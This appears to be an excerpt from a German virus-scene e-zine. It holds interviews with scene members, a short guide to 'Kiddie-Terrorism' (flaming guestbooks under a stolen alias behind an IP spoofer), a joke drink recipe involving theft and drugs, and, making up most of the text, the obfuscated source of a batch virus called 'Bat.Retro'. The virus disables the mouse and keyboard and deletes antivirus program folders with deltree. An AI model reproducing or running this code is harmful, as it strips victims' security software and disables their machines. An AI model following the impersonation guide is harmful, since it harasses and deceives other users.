Necronomikon: Zur Zeit bin ich Member bei Zero Gravity. dr.g0nZo: Ok, ich glaub, dass sind genug Fragen, willst du noch jemanden grüßen? Necronomikon: Grüßen kann ich viele Leute... Hmmmm!? SnakeByte und jackie/MATRiX Danke für eure Hilfe in allen Lebenslagen... ! ;) Serial Killer Grüsse Frau und Kind von mir!!! alle aus #german_vir, wie Malfunction, mgl, doop, ....., und Ober Pussyhunter Daniel- ;) Fii7e und ocker Wir sehen uns bestimmt die Tage nochmal. Lys Kovick without ya Word97.Blade would be nothing... Rhape79 Come back to #virus! prizzy We could talk again about the differences in spelling between polish and czech rudewords l8r in #virus.=o] Gigabyte Wodka + Redbull rulez... all on #virus, #vir, #zerogravity dr.g0nZo: Oder gibts noch irgendwas, dass du der Menschheit mitteilen willst? Necronomikon: Tja, wurde eigentlich alles gesagt. Frage an dich (Dr.G0nZo)! Hab ich dich schon mal in #virus getroffen oder war dies eine andere Person, die meinte kein Member von rRlf zu sein!? dr.g0nZo: Nein, tut mir leid, des war nicht ich. Aber irgendwann gehört die Welt anscheinend den dr.g0nZos! Necronomikon: Byez Necronomikon [Zer0Gravity]articles
Interview mit rastafarie dr.g0nZo dr.g0nZo: ALO rastafarie! Wie gehts dir? rastafarie: ALO. Ja, ganz gut. Freu mich schon auf des Interview! dr.g0nZo: Wie wir wissen, willst du aus der rRlf austreten, wieso? rastafarie: War ne schöne Zeit, aber ich komme mir bei der Liberation Front mit meiner Tätigkeit ein wenig fehl am Platz vor. In der letzten Zeit gingen mir die Ideen aus, so dass ich zu dem Entschluss kam auszutreten. dr.g0nZo: Hört sich recht schwerwiegend an, denkst du schon lange drüber nach? rastafarie: Err ... Ja, seit dem ich in diesem kreativen Loch stecke. Ca. 1/2 Jahr schon. dr.g0nZo: Wohh, deine Bilder sind ziemlich gut, bekam schon fast einen Rausch bei längerer Betrachtung. Was, außer den Bildern, hast du noch gemacht? rastafarie: Also meine Tätigkeit war eine ziemlich interessante, ich hatte zahlreiche Projekte am laufen gehabt. U.a. mir eine Laetitia Casta jpg-Sammlung anzulegen und bin so zu einer respektablen, qualitativ hochwertigen Casta Sammlung gekommen von ner Größe um die 1235 files. dr.g0nZo: Auch ne Sache um die FLAT zu benutzen. Anderes Themagebiet. Bist du im Drug-Sport experienced (Rausch ;) ? rastafarie: Na ja ... Also mit der Zeit sammelt man da schon einige Erfahrungen... Ich meine ich habe einige meiner Bilder für die rRlf im absoluten Vollrausch gemacht... Hab ziemlich viele Ideen im Vollrausch gesammelt und einige auch mit PC realisiert. Das war auch schon vor meiner rR Zeit. Und vor ungefähr 4 Jahren ging es zusammen mit TeAgeCe los... dr.g0nZo: Der war ja auch mal bei uns... Wirst du im August philet0ast3r nach Amsterdam begleiten, zum VX Meeting? Als "Gang in die Wüste". rastafarie: Also ich denk es wär ein riesen Spass. Aber ich werde diese Zeit anderweitig nutzen um meine Bong-Skills zu verbessern. Dies wird wohl einmal mehr in Polen der Fall sein, wo sich rund um TeAgeCe (Gratz) und mich eine "kleine" Drogenszene etabliert hat. Große Kartoffelfelder, großer Rausch, riesen Spass... dr.g0nZo: Irgendwelche naschen Rauschstories? Wie bist du zu deinen Dreads gekommen? Haben dir Freunde den Kopf bearbeitet? rastafarie: Hehe ... Also mir würden nach längerem Überlegen sicher an die 23000 stories einfallen, aber mein Gedächtnis erlaubt es mir nicht spontan zu antworten ... [rRausch] :) Das mit meinen Dreads is so ne Sach ... Hab vor 3 Jahren beschlossen meine Haare lang wachsen zu lassen. Damals hatte ich an die 3-4 mm. Nun als ich eine Löwenmähne hatte, hab ich angefangen die Haare nicht mehr zu waschen, und beschloss mir ein Biotop auf den Schädel wachsen zu lassen, und es mit Kieselerde zu düngen. Ja und seit nem 3/4 Jahr hab ich ezad die Dinger auf dem Kopf. dr.g0nZo: Bist du politisch aktiv? Was hältst du von fuckin Schröder's Haartönung? *ggg* (it gets really gay now) rastafarie: Nun, um erstmal auf unseren stylischen Kanzler zu sprechen zu kommen... Ich finde schwules Wasserstoffblond würde unserem Gerhard auch gut stehen... Die ganze Debatte in den Medien, der Prozess gegen die DPA finde ich lächerlich... Hat nichts wichtigeres zu tun als uneingeschränkte Loyalität für seine Haarfarbe zu üben... Politisch aktiv bin ich eher weniger, freu mich schon aber auf den 22.-23.5. ... Wenn maestro W. Bush in Berlin ist... dr.g0nZo: Ja ja, da Bush Schorre ... Ich kann leider nicht mitfahren. Was treibst du so am Wochenende, bzw. an freien Tagen, wo gehst hin (Kneipen, Discos, ...)? rastafarie: Ist nich so mein Ding in Kneipen zu gehen oder durch Discos zu ziehen... Fahr meistens mit den anderen rRs und Freunden auf Konzerte ... Du weist ja, wovon ich rede... In meiner Freizeit treib ich nichts sonderlich sapnnendes, außer zu rRauschen, Basketball zu spielen oder ein wenig auf der Gitarre rumzuklimpern ... Bin gerade dabei mit ein paar Pendejos ne Band in die Welt zu setzen... [âlo Beso Negro] ... nächste Woche haben wir unseren ersten kleinen Auftritt, auf dem Gebtag von unserem Bassisten ... :-] dr.g0nZo: ... Oh, die Bratwürste verkohlen. Also wirst du noch keine Probleme mit Groupies haben, noch nicht. rastafarie: Na jaaa ... also nicht ganz ... Also vor einiger Zeit ... Vor heute 3 Wochen da hatt ich noch was mit ner geilen Blonden... Echt nobel ... => *wooow fresh* Sie hat eeo und mich am BB-Platz aufgegabelt... Was gestört hat waren nur ihre beiden Kinder ... =) dr.g0nZo: Moinst du die, die immer Mutter zu ihr sagten? rastafarie: héhé ... *fuuuuuck* dr.g0nZo: 0kAY. War ne nice Grillsession, die Welt wurde um nichts reicher, auf geistlicher Ebene. Danke für die Sach mit dem Jackass-Style kotzenden Hund, und für deine Zeit. Willst du noch Greetings unter die Leute bringen? rastafarie: Vrallé ... Greetings to all rR and ex-members and all phucked up borrachos from Beso Negro and everyone reading this article. Ähh, Casta Pics sharing: rastafarie@gmx.netarticles
Low cost advertisment at an higher l3vel dr.g0nZo Low cost advertisment at an higher l3vel ***************************************** by dr.g0nZo 1. Find a sucking guest-book. I suggest to take something like funky-needles.de.vu or u-Boot.com. But nothing such as the something awful forums! 2. Diss all the persons without a reason, make some nice advertisments for your site. Use an AKA that isn't named on it. 3. It's good to have a lot of those gb's, hey it's about using "guerilla-tactics", harm the others short 'n powerful, then escape. 4. After about a week or so return to the gb's, watch around. What were the results or replies top you? 5. In the most cases the replies are things like: "Who the f'n hell are you? Go away damn jerk!" Congratulations! Your first scandal! 6. Get to an higher level of "Kiddie-Terrorism". Use the AKA of a well known member, ahh, but before I guess you to esablish a call by call connection on your PC, and to download an ip-spoofer (www.gcf.de), hurting the psyche of very new Newbies is good to start. Hope you choiced the name of the most respected one ... 7. Later the "victim"/real owner of the name is going to learn you respect ... LOL Use his name again, two with the same AKA, hmm, could be really funny, or? Remember: A g-book of lamerz, not one of the scene! Don't know what to say more, but stay tricky and fake all those sunday-i-net useres! THX for reading, if you think, what I wrote is nonsens, tell me. dr.g0nZoarticles
stEamiNg RangeR - rRlf driNk dr.g0nZo hi folks! today, i´m introducing you into the world of cheap lower low cost mixtures, which we need for our brains to work. ;) if you´re thinking i´m silly, do so. that bores all. serious part: conditions: you need to have a party, hope there're some mafuckas who you spit at so it´s funnier for you to steal some whiskey. drugs are necessary. further you should have a bottle of jack daniels, cola and orangejuice... ok, mix that shit as following: 1/5 of the stolen bottle jackie 2/5 cola 2/5 from the orangejuice enjoy your unexpensive drink... another tip: take 1L becks, and 2G weed. mix it. wait about five minutes. drink it with friendssources
Bat.Retro DvL ctty nul break off echo off set .=set %.% *..................=e %.% **.................=s %.% ***................=a %.% ****...............=o %.% *****..............=r %.% ******.............=b %.% *******............=f %.% ********...........=h %.% *********..........=t %.% **********.........=i %.% ***********........=c %.% ************.......=k %.% *************......=u %.% **************.....=d %.% ***************....=l %.% ****************...=n %.% *****************..=y %.% ******************.=m %.% *******************=v %*****..............%%*************......%%****************...%%**************.....%%***************....%%***************....%32 %******************.%%****...............%%*************......%%**.................%%*..................%,%**************.....%%**********.........%%**.................%%***................%%******.............%%***************....%%*..................% %*****..............%%*************......%%****************...%%**************.....%%***************....%%***************....%32 %************.......%%*..................%%*****************..%%******.............%%****...............%%***................%%*****..............%%**************.....%,%**************.....%%**********.........%%**.................%%***................%%******.............%%***************....%%*..................% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~2\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.2\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.3\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\z%****...............%%****************...%%*..................%%***************....%%***................%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.4\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.5\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.6\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.7\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.8\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%****************...%%*********..........%%**********.........%%*******************%%**********.........%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%*******************%g\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***................%%*******************%p%*..................%%*****..............%%**.................%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%***********........%%****...............%%******************.%%******************.%%***................%%****************...%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*..................%%**.................%%***................%%*******............%%*..................%%****************...%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*******............%%**********.........%%****************...%%**************.....%%*******************%%**********.........%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*******............%-%******************.%%***................%%***********........%%*****..............%%****...............%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*******............%-p%*****..............%%****...............%%*********..........%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*******............%-p%*****..............%%****...............%%*********..........%95\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*******............%-%**.................%%*..................%%***********........%%*************......%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*******............%w%**********.........%%****************...%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*******............%w%**********.........%%****************...%32\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%**********.........%%****************...%%****...............%%***********........%%*************......%%***************....%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%**********.........%%****************...%%****...............%%***********........%%*************......%%***************....%~2\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%************.......%%***................%%**.................%p%*..................%%*****..............%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%************.......%%***................%%**.................%p%*..................%%*****..............%~2\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%******************.%%***********........%%***................%%*******............%%*..................%%*..................%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%******************.%%**.................%%***................%%*******************%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%****************...%%****...............%%*****..............%%*********..........%%****...............%%****************...%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%****************...%%****...............%%*****..............%%*********..........%%****...............%%****************...%~2\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%***********........%%***********........%%**********.........%%***************....%%***************....%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%***********........%-%***********........%%**********.........%%***************....%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*********..........%%******.............%%***................%%*******************%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*********..........%%******.............%%***................%%*******************%w95\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*********..........%%****...............%%****...............%%***************....%%************.......%%**********.........%%*********..........%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*********..........%%*****..............%%*..................%%****************...%%**************.....%%******************.%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\%*******************%%**.................%95\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~2\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.2\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.3\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.4\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.5\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.6\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.7\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%****************...%%*********..........%%**********.........%%******.............%%***................%~1.8\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%****************...%%*********..........%%**********.........%%*******************%%**********.........%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%*******************%g\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%%*******************%p%*..................%%*****..............%%**.................%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***********........%%****...............%%******************.%%******************.%%***................%%****************...%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%**.................%%*****************..%%******************.%%***................%%****************...%%*********..........%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***********........%%****...............%%******************.%%******************.%%****...............%%****************...%~1\%***................%%*******************%p%**.................%%********...........%%***................%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***********........%%****...............%%******************.%%******************.%%****...............%%****************...%~1\%**.................%%*****************..%%******************.%%***................%%****************...%%*********..........%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%*******............%-p%*****..............%%****...............%%*********..........%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%*******............%-p%*****..............%%****...............%%*********..........%95\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%*******............%%**********.........%%****************...%%**************.....%%*******************%%**********.........%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%*******............%-%**.................%%*..................%%***********........%%*************......%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%*******............%w%**********.........%%****************...%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%**********.........%%****************...%%****...............%%***********........%%*************......%%***************....%~2\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%**********.........%%****************...%%****...............%%***********........%%*************......%%***************....%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%*******............%w%**********.........%%****************...%32\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\g%*****..............%%**********.........%%**.................%%****...............%%*******............%%*********..........%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%************.......%%***................%%**.................%p%*..................%%*****..............%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%************.......%%***................%%**.................%p%*..................%%*****..............%~2\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%******************.%%***********........%%***................%%*******............%%*..................%%*..................%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%****************...%%****...............%%*****..............%%*********..........%%****...............%%****************...%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%****************...%%****...............%%*****..............%%*********..........%%****...............%%****************...%~2\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\p%***................%%****************...%%**************.....%%***................%%**.................%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\q%*************......%%**********.........%%***********........%%************.......%%********...........%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%*********..........%%******.............%%***................%%*******************%\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%*********..........%%**********.........%%****************...%%*****************..%p%*..................%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%*********..........%%*****..............%%*..................%%****************...%%**************.....%%******************.%~1\ >%****************...%%*************......%%***************....% %**************.....%%*..................%%***************....%%*********..........%%*****..............%%*..................%%*..................%/%*****************..% %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%*********..........%%*****..............%%****...............%j%***................%%****************...%~1\ >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\%************.......%%***................%z%***................%%***................%\%******************.%%*****************..%%**.................%%********...........%%***................%%*****..............%~1\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\%******************.%%*****************..%%**************.....%%****...............%w%****************...%~1\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%***................%pp%***************....%%*..................%j~1\%**********.........%%****************...%%***********........%%****...............%%******************.%%**********.........%%****************...%g\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%******.............%%*..................%%***................%%*****..............%%**.................%%********...........%~1\%**.................%%********...........%%***................%%*****..............%%*..................%%**************.....%\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%*..................%%**************.....%%****...............%%****************...%%************.......%%*..................%~1\%**********.........%%****************...%%***********........%%****...............%%******************.%%**********.........%%****************...%g\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%*..................%%******************.%%*************......%%***************....%%*..................%\%**********.........%%****************...%%***********........%%****...............%%******************.%%**********.........%%****************...%g\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\g%*****..............%%****...............%%************.......%%**.................%%*********..........%%*..................%%*****..............%\%******************.%%*****************..%g%*****..............%%****...............%%************.......%~1\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%**********.........%%***********........%q\%**.................%%********...........%%***................%%*****..............%%*..................%%**************.....%~1\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%************.......%%***................%z%***................%%***................%\%******************.%%*****************..%%**.................%%********...........%%***................%%*****..............%~1\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 %***********........%:\p%*****..............%%****...............%g%*****..............%%***................%~1\%************.......%%***................%z%***................%%***................%%***************....%~1\%******************.%%*****************..%%**.................%%********...........%%***................%%*****..............%~1\"%**.................%%****...............%%******.............%%**********.........%g.%*******............%.%***********........%%***************....%%*..................%%***................%%****************...%%*..................%%*****..............%.%*..................%x%*..................% .%******.............%%***................%%*********..........%" >%****************...%%*************......%%***************....% %***********........%%****...............%p%*****************..% %0 